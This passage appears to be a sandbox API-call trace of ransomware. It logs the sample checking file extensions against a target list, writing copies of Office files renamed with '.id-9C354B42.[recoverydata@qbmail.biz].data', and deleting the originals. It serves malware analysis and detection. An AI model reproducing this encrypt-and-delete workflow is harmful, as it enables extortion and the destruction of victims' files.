Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.668] lstrlenW (lpString=".doc") returned 4 [0096.668] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.668] lstrlenW (lpString=".docx") returned 5 [0096.668] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0096.668] lstrlenW (lpString=".pdf") returned 4 [0096.668] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.668] lstrlenW (lpString=".xls") returned 4 [0096.668] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.668] lstrlenW (lpString=".xlsx") returned 5 [0096.668] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0096.668] lstrlenW (lpString=".ppt") returned 4 [0096.668] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.668] lstrlenW (lpString=".zip") returned 4 [0096.668] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.668] lstrlenW (lpString=".rar") returned 4 [0096.669] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.669] lstrlenW (lpString=".bz2") returned 4 [0096.669] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.669] lstrlenW (lpString=".7z") returned 3 [0096.669] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.669] lstrlenW (lpString=".dbf") returned 4 [0096.669] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.669] lstrlenW (lpString=".1cd") returned 4 [0096.669] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.669] lstrlenW (lpString=".jpg") returned 4 [0096.669] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.669] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.670] lstrlenW (lpString="SETUP.XML") returned 9 [0096.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.671] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2424) returned 1 [0096.671] CloseHandle (hObject=0x190) returned 1 [0096.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0096.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.672] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.672] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0096.673] GetLastError () returned 0x0 [0096.673] ReadFile (in: hFile=0x190, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x978, lpOverlapped=0x0) returned 1 [0096.857] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x980, lpOverlapped=0x0) returned 1 [0096.961] ReadFile (in: hFile=0x190, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.961] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0096.961] SetEndOfFile (hFile=0x1dc) returned 1 [0096.962] CloseHandle (hObject=0x1dc) returned 1 [0096.996] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.996] SetEndOfFile (hFile=0x190) returned 1 [0097.008] CloseHandle (hObject=0x190) returned 1 [0097.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0097.009] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0097.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.009] lstrlenW (lpString=".doc") returned 4 [0097.009] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.010] lstrlenW (lpString=".docx") returned 5 [0097.010] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0097.010] lstrlenW (lpString=".pdf") returned 4 [0097.010] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.010] lstrlenW (lpString=".xls") returned 4 [0097.010] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.010] lstrlenW (lpString=".xlsx") returned 5 [0097.010] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0097.010] lstrlenW (lpString=".ppt") returned 4 [0097.010] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.010] lstrlenW (lpString=".zip") returned 4 [0097.010] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.010] lstrlenW (lpString=".rar") returned 4 [0097.011] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.011] lstrlenW (lpString=".bz2") returned 4 [0097.011] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.011] lstrlenW (lpString=".7z") returned 3 [0097.011] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.011] lstrlenW (lpString=".dbf") returned 4 [0097.011] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.011] lstrlenW (lpString=".1cd") returned 4 [0097.011] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.011] lstrlenW (lpString=".jpg") returned 4 [0097.011] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.012] lstrlenW (lpString=".doc") returned 4 [0097.012] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.012] lstrlenW (lpString=".docx") returned 5 [0097.012] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0097.012] lstrlenW (lpString=".pdf") returned 4 [0097.012] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.012] lstrlenW (lpString=".xls") returned 4 [0097.012] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.012] lstrlenW (lpString=".xlsx") returned 5 [0097.013] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0097.013] lstrlenW (lpString=".ppt") returned 4 [0097.013] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.013] lstrlenW (lpString=".zip") returned 4 [0097.013] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.013] lstrlenW (lpString=".rar") returned 4 [0097.013] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.013] lstrlenW (lpString=".bz2") returned 4 [0097.013] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.013] lstrlenW (lpString=".7z") returned 3 [0097.013] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.014] lstrlenW (lpString=".dbf") returned 4 [0097.014] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.014] lstrlenW (lpString=".1cd") returned 4 [0097.014] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0097.014] lstrlenW (lpString=".jpg") returned 4 [0097.014] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.015] lstrcmpiW (lpString1=".HTM", lpString2=".data") returned 1 [0097.015] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0097.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0097.017] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=11463) returned 1 [0097.017] CloseHandle (hObject=0x190) returned 1 [0097.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0097.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0097.018] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.018] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0097.318] GetLastError () returned 0x0 [0097.318] ReadFile (in: hFile=0x190, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0097.329] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0097.331] ReadFile (in: hFile=0x190, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.331] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xea, lpOverlapped=0x0) returned 1 [0097.331] SetEndOfFile (hFile=0x18c) returned 1 [0097.331] CloseHandle (hObject=0x18c) returned 1 [0097.331] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.331] SetEndOfFile (hFile=0x190) returned 1 [0097.333] CloseHandle (hObject=0x190) returned 1 [0097.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0097.333] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0097.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.333] lstrlenW (lpString=".doc") returned 4 [0097.333] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0097.334] lstrlenW (lpString=".docx") returned 5 [0097.334] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0097.334] lstrlenW (lpString=".pdf") returned 4 [0097.334] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0097.334] lstrlenW (lpString=".xls") returned 4 [0097.334] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0097.334] lstrlenW (lpString=".xlsx") returned 5 [0097.334] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0097.334] lstrlenW (lpString=".ppt") returned 4 [0097.334] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0097.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.334] lstrlenW (lpString=".zip") returned 4 [0097.334] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0097.334] lstrlenW (lpString=".rar") returned 4 [0097.334] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0097.334] lstrlenW (lpString=".bz2") returned 4 [0097.334] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0097.334] lstrlenW (lpString=".7z") returned 3 [0097.334] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0097.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.334] lstrlenW (lpString=".dbf") returned 4 [0097.334] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0097.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.334] lstrlenW (lpString=".1cd") returned 4 [0097.335] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0097.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.335] lstrlenW (lpString=".jpg") returned 4 [0097.335] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0097.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.335] lstrlenW (lpString=".doc") returned 4 [0097.335] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0097.335] lstrlenW (lpString=".docx") returned 5 [0097.335] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0097.335] lstrlenW (lpString=".pdf") returned 4 [0097.335] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0097.335] lstrlenW (lpString=".xls") returned 4 [0097.335] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0097.335] lstrlenW (lpString=".xlsx") returned 5 [0097.336] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0097.336] lstrlenW (lpString=".ppt") returned 4 [0097.336] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0097.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.336] lstrlenW (lpString=".zip") returned 4 [0097.336] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0097.336] lstrlenW (lpString=".rar") returned 4 [0097.336] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0097.336] lstrlenW (lpString=".bz2") returned 4 [0097.336] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0097.336] lstrlenW (lpString=".7z") returned 3 [0097.336] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0097.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.336] lstrlenW (lpString=".dbf") returned 4 [0097.336] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0097.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.336] lstrlenW (lpString=".1cd") returned 4 [0097.336] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0097.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0097.336] lstrlenW (lpString=".jpg") returned 4 [0097.336] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0097.337] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0097.337] lstrlenW (lpString="PHONE.XML") returned 9 [0097.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.185] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=1844) returned 1 [0100.185] CloseHandle (hObject=0x1d8) returned 1 [0100.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0100.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.186] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.186] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0100.187] GetLastError () returned 0x0 [0100.187] ReadFile (in: hFile=0x1d8, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x734, lpOverlapped=0x0) returned 1 [0100.193] WriteFile (in: hFile=0x210, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x740, lpOverlapped=0x0) returned 1 [0100.194] ReadFile (in: hFile=0x1d8, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.195] WriteFile (in: hFile=0x210, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0100.195] SetEndOfFile (hFile=0x210) returned 1 [0100.195] CloseHandle (hObject=0x210) returned 1 [0100.195] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.195] SetEndOfFile (hFile=0x1d8) returned 1 [0100.196] CloseHandle (hObject=0x1d8) returned 1 [0100.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0100.197] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0100.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.197] lstrlenW (lpString=".doc") returned 4 [0100.197] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.197] lstrlenW (lpString=".docx") returned 5 [0100.197] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0100.197] lstrlenW (lpString=".pdf") returned 4 [0100.197] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.197] lstrlenW (lpString=".xls") returned 4 [0100.197] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.197] lstrlenW (lpString=".xlsx") returned 5 [0100.198] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0100.198] lstrlenW (lpString=".ppt") returned 4 [0100.198] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.198] lstrlenW (lpString=".zip") returned 4 [0100.198] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.198] lstrlenW (lpString=".rar") returned 4 [0100.198] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.198] lstrlenW (lpString=".bz2") returned 4 [0100.198] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.198] lstrlenW (lpString=".7z") returned 3 [0100.198] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.198] lstrlenW (lpString=".dbf") returned 4 [0100.199] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.199] lstrlenW (lpString=".1cd") returned 4 [0100.199] lstrcmpiW (lpString1=".1cd", 